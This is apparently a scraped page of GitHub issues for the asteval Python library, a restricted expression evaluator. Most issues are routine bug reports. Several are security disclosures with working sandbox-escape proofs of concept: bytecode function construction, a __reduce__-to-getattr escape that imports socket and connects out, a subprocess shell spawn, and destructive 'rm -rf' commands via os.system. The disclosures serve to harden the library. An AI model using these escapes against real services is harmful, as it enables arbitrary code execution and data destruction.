lmfit / asteval Goto Github PK
View Code? Open in Web Editor NEWminimalistic evaluator of python expression using ast module
Home Page: https://lmfit.github.io/asteval
License: MIT License
minimalistic evaluator of python expression using ast module
Home Page: https://lmfit.github.io/asteval
License: MIT License
there is an issue with using a variable named "place" in a for loop:
from asteval import Interpreter
code = "for place in [1,2,3]: pass"
interpr = Interpreter()
interpr.eval(code)
'str' object cannot be interpreted as an integer
There is a place item in the "FROM_NUMPY" set in asteval, maybe there is some collision.
============================= test session starts ==============================
platform linux -- Python 3.9.0, pytest-6.1.2, py-1.9.0, pluggy-0.13.1
rootdir: /build/python-asteval/src/asteval-0.9.19
collected 60 items
tests/test_asteval.py ..................................F............... [ 83%]
.......... [100%]
=================================== FAILURES ===================================
__________________________ TestEval.test_ndarrayslice __________________________
self = <test_asteval.TestEval testMethod=test_ndarrayslice>
def test_ndarrayslice(self):
"""array slicing"""
if HAS_NUMPY:
self.interp("a_ndarray = arange(200).reshape(10, 20)")
> self.istrue("a_ndarray[1:3,5:7] == array([[25,26], [45,46]])")
tests/test_asteval.py:176:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
tests/test_asteval.py:105: in istrue
return self.assertTrue(val)
E AssertionError: False is not true
It succeeds here with Python 3.8.6 and other dependencies unchanged, though.
@newville I tried to do some testing with Python 3.8 and lmfit
, which I will try to add to Travis after we release v0.9.14. It seems though that most of the issues I noticed were actually related to asteval
.
All the test pass with Python 3.7, but there are many failures with the latest beta3
:
======================== 42 failed, 15 passed in 2.04s =========================
I haven't carefully looked at it yet, but just wanted to see if you had done some work/testing on this already. There is more than a month left before the planned release, but it might be worthwhile to take a look at this before that actually happens.
Hello,
I have been using this amazing library in my software for some time now, and just today I run into a very strange problem. For some reason, I need to deep copy an object which includes an asteval.Interpreter
as a member variable. Unfortunately, this does not work.
import copy
import asteval
aeval = asteval.Interpreter(minimal=True, use_numpy=False)
copy.deepcopy(aeval)
copy.deepcopy(aeval)
File "/usr/lib/python3.7/copy.py", line 180, in deepcopy
y = _reconstruct(x, memo, *rv)
File "/usr/lib/python3.7/copy.py", line 280, in _reconstruct
state = deepcopy(state, memo)
File "/usr/lib/python3.7/copy.py", line 150, in deepcopy
y = copier(x, memo)
File "/usr/lib/python3.7/copy.py", line 240, in _deepcopy_dict
y[deepcopy(key, memo)] = deepcopy(value, memo)
File "/usr/lib/python3.7/copy.py", line 169, in deepcopy
rv = reductor(4)
TypeError: cannot serialize '_io.TextIOWrapper' object
After doing some Googling, I found people saying that this problem can be caused when trying to deep copy objects that include files. So I did the following:
import copy
copy.deepcopy(open("foo.txt", "w"))
Indeed, the above produced the same exception at the same line, but the call stack is shallower:
copy.deepcopy(open("foo.txt", "w"))
File "/usr/lib/python3.7/copy.py", line 169, in deepcopy
rv = reductor(4)
TypeError: cannot serialize '_io.TextIOWrapper' object
I would like to ask if someone knows whether asteval is deliberately not deep copyable or this is a bug.
Thank you for your time.
The python built-in min()
function is overridden by numpy by default, which makes for some weird behavior:
09:59 $ python
Python 2.7.14 (default, Sep 25 2017, 09:53:22)
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.37)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> min(4,5)
4
>>> from asteval import Interpreter
>>> aeval = Interpreter()
>>> aeval('min(4,5)')
AxisError
min(4,5)
Error running <function amin at 0x108552488>
>>>
Workaround: specify use_numpy=False when creating the interpreter
>>> aeval = Interpreter(use_numpy=False)
>>> aeval('min(4,5)')
4
Obviously there's backward compatibility concerns with changing this behavior, and I'm not sure what the right thing here is, but I'd lean in the direction of not changing the meaning of python built-ins based on the presence of an optional module.
Constructing and running functions from arbitrary bytecode from within the sandbox.
Tested in Python 3.6.2 on Linux.
import asteval
aeval = asteval.Interpreter()
code = """
# To break out of the sandbox, we first try to get access to
# object.__subclasses__. Once we have that, we can get access to
# 'code' and 'function' and use these to construct new, real functions
# (not Procedures) from arbitrary bytecode.
# First up, lets get access to object:
object = str.__mro__[1]
# Getting __subclasses__ is harder. We're going to construct a
# Procedure `get_subclasses` which takes an object and returns its
# __subclasses__ attribute (basically a janky, restricted version of
# the built-in getattr).
def get_subclasses(x):return x.attribute
# Procedures leak access to their AST:
# get_subclasses.body[0].value.attr = hack_string
# hack_string is going to be an object with an __eq__ method which
# counts the number of times it is called until the `node.attr not in
# UNSAFE_ATTRS` check on line 408 is done, then it goes and modifies
# the AST of get_subclasses /again/ to replace node.attr with the plain old
# string '__subclasses__'.
## METHODS
# These are really Procedures, not true functions, so we don't have
# access to self. Maybe there's a way to fix that, but since we only
# need one it's easy to just use global state instead.
# I would rather count be a global integer, but that results in a
# runtime error: "attribute for storage: shouldn't be here." I didn't
# look carefully enough to see why that is, but a list works fine as a
# counter.
count = [0]
def phony_eq(x):
count[0] += 1
if count[0] == 9:
get_subclasses.body[0].value.attr = '__subclasses__'
count[0] = 0
if count[0] <= 9:
return False
# Not needed, but meant less bizarre error messages when I was writing
# this
def phony_str(): return "<hack_string>"
# We can still create new classes using 'type'. I don't think it
# actualy matters that this be a str subclass.
hack_string = type('HackString',
(str, ),
{'__eq__': phony_eq,
'__str__': phony_str})()
# Now we're ready to put this in place.
get_subclasses.body[0].value.attr = hack_string
__subclasses__ = get_subclasses(object)
for c in __subclasses__():
if c.__name__ == 'code':
code = c
if c.__name__ == 'function':
function_ = c
# At this point we can create and run functions from arbitrary
# bytecode:
# For demonstration purposes, our function is the following:
# def my_getattr(obj, attr):
# return obj.__getattribute__(attr)
# which has bytecode
# b'|\\x00j\\x00|\\x01\\x83\\x01S\\x00'
# We can't enter literal bytes objects, but that's okay:
getattr_bytecode = ('|\\0j\\0|' + chr(0x1)).encode('utf-8') + chr(0x83).encode('utf-8')[1:] + (chr(0x1) + 'S\\0').encode('utf-8')
code_obj = code(2, 0, 2, 2, 67, getattr_bytecode, (None, ), ('__getattribute__', ), ('obj', 'attr'), '', 'my_getattr', 0, ('\\0' + chr(0x1)).encode('utf-8'))
my_getattr = function_(code_obj, {})
print(my_getattr({}, '__class__'))
"""
aeval(code)
Result:
<class 'dict'>
Hi everyone,
It seems that most of the python language is still accessible with asteval when we use aliases.
For example, here is a small code to create two directories and remove one:
from os import system as y
import asteval
aeval = asteval.Interpreter()
aeval.symtable['y'] = y
aeval("y('mkdir test1 test2')")
aeval("y('rm -rf test1')")
The same could be done with "aeval('rm -rf /')".
There might be a way to make it safer if all function calls are filtered using a ast.NodeTransformer. Then for each 'ast.Name' associated with the 'ast.Call', just replace the name by a dictionary entry which contains the truly expected function.
However, this implies making the symtable read-only, and thus strongly limit the asteval capabilities.
For example, when I write:
aeval("exp(-x**2 / (2 * sigma)")
We can use the ast.NodeTransformer to change the string to "symtable['exp'](-x**2 / (2 * sigma))", where 'symtable' is read-only and point here to the numpy exponential function.
Hello,
I have the following code:
import asteval
expreval = asteval.Interpreter(minimal=True, use_numpy=False)
expreval("a=sin('1')")
for error in expreval.error:
print(error.get_error())
When I run it, it produces the following output:
TypeError
a=sin('1')
^^^
Error running function call 'sin' with args ['1'] and kwargs {}: must be real number, not str
('TypeError', " a=sin('1')\n ^^^\nError running function call 'sin' with args ['1'] and kwargs {}: must be real number, not str")
('TypeError', " a=sin('1')\n ^^^\nat expr='a=sin('1')'")
('TypeError', " a=sin('1')\nat expr='a=sin('1')'")
('TypeError', " a=sin('1')\nat expr='a=sin('1')'")
I am a bit confused as to why the code results in 4 errors instead of one. To me, it seems that only expreval.error[0]
should be generated. Is this a bug or a feature? Or maybe I am missing something?
Thank you
PS: I am using Python 3.7
The engineers at work were considering using asteval, so I've taken a quick look at it to see what kind of risk it might represent. One sandbox escape in particular jumps out - reduce is permitted, giving access to getattr, at which point none of the security assumptions hold.
Potential "fixes", in rough order of less effort/useful -> more effort/useful include:
I'd also suggest adding base, builtin and builtins to the naughty list in the short-term. Given asteval's use case, it still exposes a lot of Python internals, increasing attack surface considerably. Of course this is basically whack-a-mole, as deny-lists inevitably are.
Simple proof of concept (open a netcat listener or some such on port 1234/tcp for full effect):
#!/usr/bin/env python3
# asteval "sandbox" escape PoC
# Ross Bradley
import asteval
user_input = '''
# reduce the asteval.Interpreter._printer function, returning a tuple
red = print.__reduce__()
print(red)
# red[0] == getattr, red[1][0] == asteval.Interpreter instance)
# this is the crux of the issue - access to getattr breaks all security assumptions allowing us to access props we shouldn't be able to
# give them nice names to make the following code a little clearer
getattr = red[0]
inst = red[1][0]
# get the class for the asteval.Interpreter instance
cls = getattr(inst, '__class__')
# get an object instance from the class
obj = getattr(cls, '__base__')
subclasses = getattr(obj, '__subclasses__')
# find the catch_warnings type
cw = [c for c in subclasses() if c.__name__ == 'catch_warnings'][0]
# fetch the reference to builtins from the catch_warnings type
bi = cw()._module.__builtins__
# import socket (wait, what?)
socket = bi['__import__']('socket')
# do socket things
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 1234))
s.send(b'arbitrary code execution')
s.close()
'''
interpreter = asteval.Interpreter()
interpreter.eval(user_input)
Hello, when i use "[f'foo-{i}' for i in range(5) ]"
, it raise 'JoinedStr' not supported
>>> from asteval import Interpreter
>>> secure_eval = Interpreter()
>>> some_str = "[f'foo-{i}' for i in range(5) ]"
>>> secure_eval(some_str)
NotImplementedError
[f'foo-{i}' for i in range(5) ]
^^^
'JoinedStr' not supported
>>> eval(some_str)
['foo-0', 'foo-1', 'foo-2', 'foo-3', 'foo-4']
>>> secure_eval("['foo-{}'.format(i) for i in range(5) ]")
['foo-0', 'foo-1', 'foo-2', 'foo-3', 'foo-4']
Did it support f-string?
several changes over the past couple months need to be merged together
Warning: numpy not available... functionality will be limited.
This is quite annoying, especially when you call Interpreter(use_numpy=False)
.
I think it should only appear when use_numpy=True
An alternative would be to set the default to use_numpy=False
and throw an error if use_numpy=True
and the module is not installed.
Could you introduce a switch to turn prints of errors off?
it seems as it is asteval.py lines 324, 328:
print(errmsg, file=self.err_writer)
Thank you.
While evaluating correct expressions, I got None
as result, but no error were reported (they have silently failed).
When I tried to investigate the issue, I was receiving the following error on Interpreter().eval()
from within my debugger (LiClipse + PyDev):
cannot set the recursion limit to 100 at the recursion depth 87: the limit is too low
Obviously my debugger had pushed the stack close to that limit,
and python-interpreter screamed at asteval/asteval.py#L136:
sys.setrecursionlimit(RECURSION_LIMIT)
So I hand-edited asteval/astutils.py:#L16 and increased my limit to i.e. 500:
RECURSION_LIMIT = 100
But then, all my expressions worked OK!
On first impression, I would consider recursion-limit=100
, too low for general use.
My second thought would be to set the limit at least current_stack_depth + 100
and that value(100) to be user-configurable.
But as general precaution, I believe that:
normal code should not mess with sys.setrecursionlimit()
because it might have serious side-effects.
If this protection measure is needed, user-code should perform that invocation - the documents should explain how.
At most, an "opt-in" keyword should do that, with something like that:
import inspect
class Interpreter:
def __init__(..., recursion_cap=None):
...
if recursion_cap:
if recursion_cap is True:
recursion_cap = DEFAULT_RECURSION_CAP
recursion_limit = len(inspect.stack()) + recursion_cap
sys.setrecursionlimit(recursion_limit)
Current version on PyPi is 0.9 as of 2012-04-09. Is there a timeline for 0.9.1? If it's not ready, can current master at least be released as 0.9.1-dev to indicate that it's the in-progress development version?
I ran into an issue where a build of another project was failing in some circumstances because of the import numpy
statement that has since been removed in 0.9.1, but not released. I was able to resolve it by building and installing from source, but it would be nice if it were on PyPi so it would work nicely with pip.
Several things seem to go wrong with the execption handling.
This code:
def foo():
raise Exception("error in function")
try:
foo()
print("still going on")
raise Exception("directly raised error")
except Exception:
print("error caught")
Gives as result:
error caught
still going on
Exception
directly raised error
(The last 3 lines are the printed error)
There are 2 things going wrong here:
These problems are unrelated: they also show up when I test for them individually.
Another problem is that catching named errors doesn't work.
def foo():
raise Exception("error in function")
try:
foo()
except Exception as ex:
print("caught:", ex)
gives:
NameError
<>
^^^
name 'ex' is not defined
While I know the python 3.x print()
function is not designed to be blocked by the no_print=True
setting, is there a plan to implement this? As a temporary workaround, I have simply removed print
from the symtable whenever no_print
is set. This prevents the symbol from being loaded in the on_name()
call here. I'm not sure if that's the best way to address this and haven't tested this enough to see if it breaks other sections of the interpreter.
I am thinking about using this in a web service and I want to like put a timer on the execution. I was wondering if you have any ideas on how to handle this?
One idea I had was to open a thread, or use a subprocess call and then set a timer. Wondering if you had any thoughts?
Hi,
the commit, newville@26d39b7 has implemented suggestion from https://github.com/newville/asteval/issues/88#issuecomment-808895503 but I can' see it in the documentation at https://newville.github.io/asteval/api.html#asteval.eval, nor in the changelog. Also, the version was bumped just by patch number but at least a minor number should be increased because the change is in the API.
Can you please fix it? Thank you.
Using getattr to climb out of your sandbox, delete the unsafe attributes, get an import function, then give myself a native python shell outside your sandbox.
def test(): pass
getattr(getattr(test.interpreter.parse, "__func__"), "func_globals")["UNSAFE_ATTRS"] = []
test.interpreter.parse.__func__.func_globals["__builtins__"]["__import__"]("subprocess").call("python")
Here is a very simple code snipped with very strange results:
>>> from asteval.asteval import Interpreter
>>> interp = Interpreter()
>>> interp.symtable['enabled'] = scipy.ones(10)
>>> interp('enabled == 1')
array([ True, True, True, True, True, True, True, True, True,
True])
>>> interp('enabled < 1')
ValueError
enabled < 1
The truth value of an array with more than one element is ambiguous. Use a.any() or a.all()
In asteval 0.9.8, I could do this:
>>> import asteval
>>> i = asteval.Interpreter()
>>> i('"hello world {}".format(2)')
'hello world 2'
Now in asteval 0.9.11, this is broken:
>>> import asteval
>>> i = asteval.Interpreter()
>>> i('"hello world {}".format(2)')
AttributeError
"hello world {}".format(2)
'hello world {}' object has not attribute 'format'
Was this an intentional break and is there an explanation of why the new release did this? Or did I stumble on a bug?
When trying to run the tests python stops reacting and starts eating cpu and memory once it reaches test_dos.
Some debug prints suggested that the culprit is in the recursion test.
In that test the debug prints kept going for about 0.03 seconds and then just stopped while the test went out of control.
I have tested this in both Python 3.7.0 and Python 2.7.15.
I am running ArchLinux 64-bit
Hi, I'm using asteval to evaluate python code stored in database and it's awesome. But for my use case I need lot of functions definitions and there is something that I really don't understand. I found a very simple test:
aeval = Interpreter()
code = """
def a():
return 1
def b():
return 2
def c():
return a() + b()
c()
"""
aeval(code) # returns 3
aeval = Interpreter()
code = """
def a():
return 1
def b():
return 2
def c():
x = a()
y = b()
return x + y
c()
"""
aeval(code) # returns 1
Are functions defined inside the interpreter only working in one-line statements? Thanks for your work!
Because it calls repr(val) for each value and standard containers don't limit the output.
Example (takes cpl mins to run the initializer):
from asteval import Interpreter
a = [1] * 1_000_000_000
Interpreter({"a": a})
First of all, great work. Thanks for doing this library.
The following code involving user defined functions does not run properly:
from asteval import Interpreter
aeval = Interpreter()
code="""
def fun(x):
return x
def fun2(x):
y=fun(x)
return y+1
x=1
y=fun2(x)
print "should be y={}, and it is: y={}".format(x+1,y)
# should be y=2, and it is: y=1
"""
aeval(code)
It seems that fun2 stops running after the return of fun.
Now when attempting to pip install asteval
, it fails saying it can't import module six. When I asked on stackoverflow someone said this was because your setup.py imports asteval? (https://stackoverflow.com/questions/47127178/pip-install-asteval-fails-on-six-dependency)
I'm out of my depth here, but would really like asteval installation to work again.
Non-ASCII identifiers have been available since Python 3.0, and are described here. Currently, valid_symbol_name()
does not accept such characters. I encountered this issue when using lmfit
, a situation where using such identifiers would be very useful.
I might be willing to issue a PR to fix this if it's not too involved--are there any other places in the code that might need to be modified, other than valid_symbol_name()
?
Fedora Linux is currently doing a mass rebuild of Python packages in Rawhide (the development version of Fedora) using Python 3.10.0 beta 2. The build of python-asteval
is failing on Python 3.10 as follows:
=================================== FAILURES ===================================
_____________________________ TestEval.test_kaboom _____________________________
self = <test_asteval.TestEval testMethod=test_kaboom>, chk_type = 'MemoryError'
chk_msg = ''
def check_error(self, chk_type='', chk_msg=''):
try:
> errtype, errmsg = self.interp.error[0].get_error()
E IndexError: list index out of range
tests/test_asteval.py:126: IndexError
During handling of the above exception, another exception occurred:
self = <test_asteval.TestEval testMethod=test_kaboom>
def test_kaboom(self):
""" test Ned Batchelder's 'Eval really is dangerous' - Kaboom test (and related tests)"""
self.interp("""(lambda fc=(lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]):
fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})()
)()""")
self.check_error('NotImplementedError', 'Lambda') # Safe, lambda is not supported
self.interp(
"""[print(c) for c in ().__class__.__bases__[0].__subclasses__()]""") # Try a portion of the kaboom...
self.check_error('AttributeError', '__class__') # Safe, unsafe dunders are not supported
self.interp("9**9**9**9**9**9**9**9")
self.check_error('RuntimeError') # Safe, safe_pow() catches this
self.interp(
"x = ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((1))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))")
if version_info == (3, 9):
self.isvalue('x', 1)
self.check_error(None)
else:
> self.check_error('MemoryError') # Hmmm, this is caught, but its still concerning...
tests/test_asteval.py:922:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
tests/test_asteval.py:132: in check_error
self.assertTrue(False)
E AssertionError: False is not true
=========================== short test summary info ============================
FAILED tests/test_asteval.py::TestEval::test_kaboom - AssertionError: False i...
========================= 1 failed, 61 passed in 1.38s =========================
We need this fix :)
https://github.com/newville/asteval/pull/24
Thanks
It seems to me that in almost any use case for asteval reading (possibly private) files would also pose a security risk.
It is easy to remove "open" from the symtable, but why is it in there by default?
Hi. First of all, thanks for this wonderful project. It did exactly what I was looking for. I am using it to execute user defined math formulae and for that it works really well. I really appreciate being able to lock down the interpreter. I found it after going through "formulas", pandas.eval (where I ran into this nasty bug pandas-dev/pandas#24670 ) and even briefly flirting with using python eval. Finding this made my day.
I also have a need to display these user defined formulae. It would be pretty great if this package could help with that by exposing the AST or something. I'm currently using "formulas", but I'm not a great fan of this package.
I also briefly looked at https://github.com/glenfletcher/Equation which generates latex, but it's unmaintained and doesn't seem to let you use custom functions.
The Fedora package of asteval fails to build with Python 3.9.0a5. There are now tests which are no longer passing.
Original issue: https://bugzilla.redhat.com/show_bug.cgi?id=1819177
I (foolishly?) tried:
aeval('x = random.normal(0,1)')
and got
NameError
x = random.normal(0,1)
^^^
name 'random' is not defined
Is is possible to draw random numbers from distributions using asteval?
Perhaps it would create a security problem to give access to the functions in the random module in numpy, or would it be OK?
Maybe the random subfunctions could be added into the namespace at startup with the other numpy functions.
Willing to help with this if you think it is a good idea.
Great package, thanks!
(edited: language and typos)
from asteval import Interpreter
aeval = Interpreter()
aeval.symtable['os']=__import__('os')
aeval("os.system('rm -f foo.txt')")
First: Great project!
I would like to have a subset of all supported stuff.
e.g.: No numpy, not if/then/else, while, for etc.
Just basic things like: numbers, tuple, list, dict, string, True, False, None
What's about to make this more flexible?
Hi, I got a very strange problem, when I run this in terminal:
# some_test.py
from asteval import Interpreter
interp = Interpreter()
interp('print(1)')
It raise an exception:
# python some_test.py
AttributeError
print(1)
'Call' object has no attribute 'starargs'
And if I use pycharm to run unittest, all test is passed without error, but if I run unittest in terminal, it shows a lot of error. Is there something wrong?
Hi Matthew,
I need something like asteval for a project I'm working on, but I need lambda nodes in particular to work. For my use case, it would be appropriate for the interpretation of a lambda to be simply the AST node itself. Interpreting the call of a lambda appears to be the tricky part, since it looks like you don't have the code currently to handle it. It looks like you kind of let Python take care of that for you, since you'd have actual Python functions in the symtable to call, and Python can do that lining up itself. To really interpret a call to a lambda I think would require taking the arguments, generate a new symtable, evaluating the body, and reverting the symtable. I have done a very trivial demo of this and would be happy to flesh it out and send you a PR if you're interested. Or, if you already know that this concept doesn't work for some reason I haven't thought of, that would be good for me to know before I get too far down the road!
Thanks!
looks like raise parses differently in python3
Python2:
ast.dump(ast.parse("raise NameError('foo')"))
"Module(body=[Raise(type=Call(func=Name(id='NameError', ctx=Load()), args=[Str(s='foo')], keywords=[], starargs=None, kwargs=None), inst=None, tback=None)])"
Python3
"Module(body=[Raise(exc=Call(func=Name(id='NameError', ctx=Load()), args=[Str(s='foo')], keywords=[], starargs=None, kwargs=None), cause=None)])"
(that is 'type' vs 'exc').... must look for both cases
I'm using 0.9.18 on python 3.8.3. Unless I'm doing something wrong, this code
def func():
loop_cnt = 0
for i in range(5):
for k in range(5):
loop_cnt += 1
return [i, k, loop_cnt]
func()
returns [4, 4, 25]
, versus [0, 4, 5]
in native python.
Hi,
we use asteval a lot, thanks for the great package!
However, something that used to work, doesn't seem to work anymore, which is surpressing the text output (it can really swamp terminal output with things that aren't issues).
We had this solution in place:
class FakeWriter(object):
def __init__(self):
def fake_write(*args):
pass
self.write = fake_write
f = Interpreter(writer=FakeWriter())
f('1.0 / 0.0')
This used to work fine, but not anymore. Now we get still stdout for the zero division error. What changed? Is there any way to surpress it better?
We upgraded to the latest version, 0.9.8
BR
Carst
P.s. the following does work:
f('try:\n 1.0 / 0.0\nexcept:\n pass')
but that seems to be a bit over kill to me?
Hello -- loving asteval! Thanks for putting this on github.
I would submit as a commit but not super confident I'm right so adding as an issue.
In eval()
currently it resets self.error = []
but does not reset self.error_msg
This means that if you call eval(*args,show_errors=False)
you end up with an incrementally growing error list.
I think all that's needed is a simple self.error_msg = None
in the first few lines of def eval()
Cheers,
-Mike
Unfortunately, for python 3.7 importlib.metada does not exist. Therefore, the _version.py file of this package causes an package import error.
Other packages (e.g. jsonschema 3.2) use this compatibility code to fix the issue:
try:
from importlib import metadata
except ImportError: # for Python<3.8
import importlib_metadata as metadata
First of all, thank you for a very useful library! I've found a slight issue with how kwargs are passed down recursively. Here is an example of what I mean:
from asteval import Interpreter
aeval = Interpreter()
inner = \
"""
def inner(foo=None,bar=None):
print(foo, bar)
"""
outer = \
"""
def outer(**kwargs):
inner(**kwargs)
"""
aeval(inner)
aeval(outer)
aeval("inner(foo='baz', bar=123)") # this one works
aeval("outer(foo='baz', bar=123)") # this one does not
For completeness, here is the same code in regular python which works fine:
def inner(foo=None,bar=None):
print(foo,bar)
def outer(**kwargs):
inner(**kwargs)
outer(foo='baz', bar=123)
With the following tweak in asteval.py (row 746) it seems to behave like expected:
while len(keywords) == 1 and None in keywords.keys():
keywords = keywords[None]
But I'm sure there's a more correct way to solve it. Any help on this would be much appreciated!
Not actually an issue, just thought you might be interested to know about https://github.com/alexmojaki/pure_eval. Its actual goal is quite different, but it's still in a similar space.
Not sure what you think is appropriate, but something like the following would be nice:
classifiers=[
'Intended Audience :: End Users/Desktop',
'Intended Audience :: Developers',
'Intended Audience :: Science/Research',
'License :: OSI Approved :: BSD License',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Programming Language :: Python',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.2',
'Programming Language :: Python :: 3.3',
],
Hi,
today I've had some problems with long computations and I had to look at the sources in order to find out how to customize max_time of Interpreter; additional info could help others in the same situation.
p.s. thank you for your work, your library is awesome!
Function arguments can be annotated 'args' in Python 3, and so parse differently. Need to look for / handle 'arg' nodes.
Python2:
ast.dump(ast.parse("""def f(x):
... print(x)
... """))
"Module(body=[FunctionDef(name='f', args=arguments(args=[Name(id='x', ctx=Param())], vararg=None, kwarg=None, defaults=[]), body=[Print(dest=None, values=[Name(id='x', ctx=Load())], nl=True)], decorator_list=[])])"
Python 3:
ax = ast.parse("""def f(x):
... print(x)
... """)
ast.dump(ax)
"Module(body=[FunctionDef(name='f', args=arguments(args=[arg(arg='x', annotation=None)], vararg=None, varargannotation=None, kwonlyargs=[], kwarg=None, kwargannotation=None, defaults=[], kw_defaults=[]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Name(id='x', ctx=Load())], keywords=[], starargs=None, kwargs=None))], decorator_list=[], returns=None)])"
I would like to restrict Interpreter
more than what Interpreter(use_numpy=False, minimal=True)
allows. For instance, I want to restrict slice
in asteval.asteval.ALL_NODES
or I want to restrict dir
in asteval.astutils.FROM_PY
.
Interpreter.__init__()
only supports restricting the objects that are specifically defined in the __init__
. While I can monkeypatch asteval and get the functionality I want, I think it would make more sense to explicitly support overriding asteval.asteval.ALL_NODES
and all of the other globals that are defined in asteval.astutils
.
Are there any objections to allowing the user to pass in these globals to Interpreter.__init__()
? This could also be done similar to Interpreter.remove_nodehandler()
by having an Interpreter.remove_sym()
that would remove entries from Interpreter.symtable
.
Input is appreciated.
I'm using 0.9.18 on python 3.8.3. Unless I'm doing something wrong, this code:
def func2():
for k in range(5):
if k == 4:
break
k = 100
return k
func2()
returns 100, instead of 4.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.